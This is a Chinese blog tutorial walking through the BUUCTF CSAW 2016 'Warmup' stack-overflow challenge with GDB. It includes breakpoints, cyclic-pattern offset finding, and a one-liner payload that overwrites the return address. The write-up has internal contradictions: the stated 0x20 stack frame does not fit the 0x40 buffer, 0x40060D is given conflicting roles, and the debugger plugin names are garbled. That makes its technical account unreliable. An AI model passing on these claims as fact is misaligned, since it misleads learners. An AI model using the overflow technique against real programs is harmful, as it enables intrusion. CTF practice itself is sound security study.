当前位置: 首页 > news >正文

从Warmup看栈溢出:用GDB+Pedal动态调试BUUCTF CSAW 2016题目

从动态调试视角解剖栈溢出:GDB+Pedal实战BUUCTF Warmup

第一次拿到Warmup这样的CTF题目时,很多人会直接跳进EXP编写——毕竟看起来就是个标准的栈溢出。但真正理解漏洞本质,需要看到内存中发生的每一个细节变化。本文将带你在GDB和Pedal的配合下,像外科手术般解剖这个简单的栈溢出,观察寄存器、栈帧和指令流的实时互动。

1. 环境准备与目标拆解

在Ubuntu 20.04环境下,我们使用GDB 9.2配合Pedal插件(也可替换为gef或pwndbg)。测试程序是BUUCTF提供的warmup_csaw_2016,一个典型的x64 ELF文件。先快速验证下基础信息:

file warmup_csaw_2016 checksec --file=warmup_csaw_2016

输出显示这是一个64位动态链接程序,只开启了NX保护。这意味着栈空间不可执行,但我们可以通过ROP技术绕过。题目核心逻辑很简单:

  1. 主函数调用vulnerable_function
  2. vulnerable_function使用gets接收输入
  3. 输入超长时覆盖返回地址

我们的动态调试目标包括:

  • 定位gets函数调用的具体位置
  • 测量缓冲区到返回地址的精确距离
  • 观察栈帧在溢出前后的变化
  • 验证0x40060D这个神秘地址的作用

2. 关键断点设置与栈帧分析

启动GDB加载程序后,首先反汇编vulnerable_function:

disas vulnerable_function

输出显示在0x40060D处调用了gets。我们在此设置断点:

b *0x40060D r

当程序暂停时,观察寄存器状态:

RAX: 0x7fffffffe220 --> 0x0 RBX: 0x0 RCX: 0x7ffff7b042c0 --> 0xfbad2088 RDX: 0x7ffff7dd3780 --> 0x0 RSI: 0x7fffffffe220 --> 0x0 RDI: 0x7fffffffe220 --> 0x0 RBP: 0x7fffffffe240 --> 0x400660 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe220 --> 0x0

重点关注RSP和RBP的值:

  • RSP(栈指针): 0x7fffffffe220
  • RBP(基指针): 0x7fffffffe240

两者相差0x20字节,这就是当前栈帧的大小。输入缓冲区地址在RDI寄存器中,也是0x7fffffffe220。这意味着:

  • 缓冲区起始于RSP
  • 返回地址保存在RBP+8的位置

用Pedal的堆栈可视化功能更直观:

peda telescope $rsp 40

输出显示从RSP开始的内存区域,我们可以清楚看到:

  1. 0x7fffffffe220: 缓冲区开始
  2. 0x7fffffffe240: 保存的RBP值
  3. 0x7fffffffe248: 返回地址

3. 动态验证溢出偏移量

根据静态分析,我们知道需要0x40+8字节才能覆盖到返回地址。但在动态调试中,我们可以精确验证这个计算:

  1. 首先发送一个带模式字符串的输入:
pattern create 100
  1. 在gets断点处继续执行并粘贴生成的字符串
  2. 程序崩溃时观察RIP值:
x/xg $rsp+0x48

Pedal的pattern search功能可以直接定位偏移:

pattern search

输出确认偏移量确实是72字节(0x48)。这与我们的计算一致:

  • 缓冲区大小0x40
  • 保存的RBP占8字节
  • 总共0x48字节到达返回地址

4. 返回地址劫持实战

现在我们要将返回地址覆盖为0x40060D(那个可疑地址)。反汇编显示这是vulnerable_function中调用gets后的指令地址:

0x40060d: call 0x4004c0 <gets@plt> 0x400612: mov eax,0x0

覆盖这个地址会导致程序在返回时重新执行vulnerable_function,形成无限循环。这在CTF中常用于构造多次溢出机会。

构造payload:

python -c "print('A'*72 + '\x0d\x06\x40\x00\x00\x00\x00\x00')" > payload

在GDB中验证:

r < payload

单步执行到ret指令时,观察栈顶:

x/xg $rsp

确认值已变为0x40060D。继续执行后,程序确实会再次进入vulnerable_function。

5. 从动态调试到完整利用

理解了核心机制后,我们可以构建完整利用链:

  1. 第一次溢出:跳转回vulnerable_function
  2. 第二次溢出:跳转到后门函数(如果存在)
  3. 或者构造ROP链绕过NX

用Pedal搜索可用gadget:

ropgadget --binary warmup_csaw_2016

虽然这个简单题目不需要复杂ROP,但动态调试方法同样适用于更复杂的场景。例如,当ASLR开启时,我们需要结合内存泄漏来定位实际地址。

6. 调试技巧与常见陷阱

在动态调试栈溢出时,有几个关键点容易出错:

  1. 栈对齐问题:x64架构要求栈16字节对齐,某些gadget需要额外调整

    • 解决方案:在payload中添加ret指令地址对齐
  2. 输入处理差异:gets与fgets等函数对换行符的处理不同

    • 动态调试时可以观察实际写入的字节数
  3. 环境变量影响:不同shell环境下栈地址可能有偏移

    • 统一在gdb中用unset env清空环境变量

一个实用的调试技巧是使用cyclic模式字符串:

r < <(cyclic 100)

当程序崩溃时,通过崩溃时的RSP值快速定位偏移:

cyclic -l 0x6161616161616166

7. 进阶:结合静态分析与动态调试

虽然本文聚焦动态调试,但最佳实践是结合静态分析工具:

  • IDA Pro/Frida用于理解程序逻辑
  • GDB/Pedal用于实时观察执行流
  • pwntools用于快速构建exploit

例如,先用IDA定位所有有趣的内存地址,然后在GDB中设置相应断点。这种组合拳能极大提高漏洞分析效率。

动态调试的魅力在于能看到"正在发生"的漏洞利用过程。当你亲眼目睹返回地址被覆盖、EIP跳转到指定位置时,栈溢出不再是一个抽象概念,而是可触摸、可操控的实体。这正是CTF比赛最迷人的部分——不仅要知道漏洞存在,更要理解它如何被精确控制。

http://www.gsyq.cn/news/1418561.html

相关文章:

  • 别再手动折腾了!用Composer+PHPStudy一键搞定Imagick扩展(附常见报错解决)
  • 板厂指定用CAM350 V10?别慌!用V14.6中转一下,完美解决Allegro SPB17.4槽孔导入报错
  • Tableau筛选器太乱?教你一招,只显示“全部”和常用选项(保姆级教程)
  • Cadence Allegro出Gerber后,CAM350报错槽孔文件丢失?一个工具版本差异引发的‘血案’与排查实录
  • 从一次线上金额对账Bug说起:手把手教你用BigDecimal重构Java浮点数计算
  • 贝叶斯网络:AI处理不确定性的概率推理利器
  • 避坑指南:Docker Buildx多平台构建推送私有仓库时,如何搞定HTTP证书和network.host权限问题
  • 版图设计工程师的日常:除了画图,DRC/LVS验证和与前端‘吵架’才是重头戏
  • Arm TPIU-M与通用TPIU核心差异及选型指南
  • OrCAD建库避坑指南:从新手到高手必须知道的5个细节(以STM32为例)
  • 深入浅出:基于STM32F4 HAL库的串级PID位置控制详解(附代码与波形分析)
  • STM32F4开发板跑通Modbus TCP主从通信的全套实操资料(含LabVIEW上位机+freeModbus移植工程+调试视频)
  • 告别Cloud Compare!用Qt+PCL从零搭建自己的点云处理软件(附完整源码与避坑指南)
  • 从Neo4j数据到炫酷可视化:手把手教你用Neovis.js和D3.js打造可交互的Web图表
  • TensorFlow 2.10.1 GPU安装避坑指南:CUDA/cuDNN版本选择与Anaconda环境隔离技巧
  • 告别CUDA黑盒:手把手教你用PTX指令直接调用Tensor Core(附HGEMM实战代码)
  • STM32F103C8T6+DHT11温湿度采集:CubeMX配置与HAL库驱动避坑全记录
  • 别再乱上电了!手把手教你搞定RFSoC Gen3的电源时序与Tile重启(附寄存器操作详解)
  • 保姆级教程:在CentOS 7上给MinIO配置自定义域名,告别IP访问(附Nginx代理配置)
  • C51开发中XBYTE与XWORD宏的差异与应用
  • Foresight研究报告【20260009】
  • Windows 10资源管理器CPU占用100%?别急着重装,试试这个‘干净启动’排查法
  • 从‘防御式编程’到‘契约式设计’:用C#的Debug.Assert和Trace.Assert守护你的代码边界
  • 备战蓝桥杯国赛【Day 20】
  • WPF MVVM框架选型笔记:为什么我最终选择了Stylet而不是Prism或MVVM Light?
  • VisionPro 9.0避坑指南:CogFixtureTool空间坐标系设置的那些“坑”与最佳实践
  • Unity手势插件Fingers Gesture保姆级避坑指南:从Demo到实战,解决UI点击冲突
  • 别再只会用Ctrl+K,F了!VSCode代码格式化高阶玩法:Prettier、ESLint与保存自动格式化配置全攻略
  • ESP32S3+LVGL 8.3屏幕不亮?手把手教你修改lvgl_helpers.c驱动配置(附合宙ESP32S3实测)
  • 为什么92%的开发者部署DeepSeek失败?腾讯云VPC+CLB+TKE三重网络配置全拆解(含YAML模板)